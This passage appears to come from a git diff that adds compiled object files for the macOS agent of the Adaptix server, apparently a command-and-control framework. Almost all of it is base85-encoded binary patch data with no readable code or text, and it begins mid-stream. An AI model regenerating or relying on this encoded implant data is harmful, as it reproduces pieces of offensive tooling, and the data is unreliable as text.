zQ&b+G3Mp@;bbO4z_dIEl|BdoPcS`0@A{qTllKrFehvZ}_|C5wcrTny%S4ue|%m0;> z@poi;c}>beDesi>UMcUB@&+kCDdkz3KeYb?DgRNn_q3FMA>}G5mrJ=u%FCqOAZ7d} zsMmK=%9%1fN6N3r^dCw287V(6=h)CY`j1FOv=XlEG}i^{nyj7yzxHEE@k8W)mxD9&wT#F zB2OVDKHX)JPg>+3TVyI5U;ar;{fjN>4_VT?E$Le<>2!~Yum6}uCf|)u&$FcOw4|T0 z$d6j`|IQ-2E%{%z$YG0o&{CdxeW$$mOY_R6(?+zxh}Zk;^{Dq$W58SMM~3<)@5uoE zZrqH)OPm>YM#Yk{$3Ns@GR(#_F1x z_n6n$R0HBSfM&lpc(Rdti@%G9%Ipmqg;G~gBf3!M-JLt~&GzkfXEM*;jALWVjT@cZYo1*9xGTP4QitE+3QWZwNdANB5jyu5tB zh#uI>ghjR#mKd?EW~{)BnUTU`Gn*MJFk@z<@BuTM87nYjW~A_bGn*O1|Gbc0LIl4p zY%|0{Gq%-?6__zZkhzG}?J9eGn-|n4dP|WRD>P$U%~*jMLj=VOWpPjzH)DlnY^xb7 zFk^_I_*PjQl*P?hp&8q1#tO_BA}C%Ui-WSb87nknTg_O(Tud*XFN=e+xEU)nV_VHw JK|a>}{{tVdao_*| literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_macos.o new file mode 100644 index 0000000000000000000000000000000000000000..7270dce530246503ecbecd2f2f958bc8aa1dfba1 GIT binary patch literal 22176 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 literal 0 HcmV?d00001 diff --git a/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o b/AdaptixServer/extenders/macos_agent/src_agent/obj/tasks_net.o new file mode 100644 index 0000000000000000000000000000000000000000..342d4addb87121fc30d0740b6ab27f8faaa89ecc GIT binary patch literal 14224 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 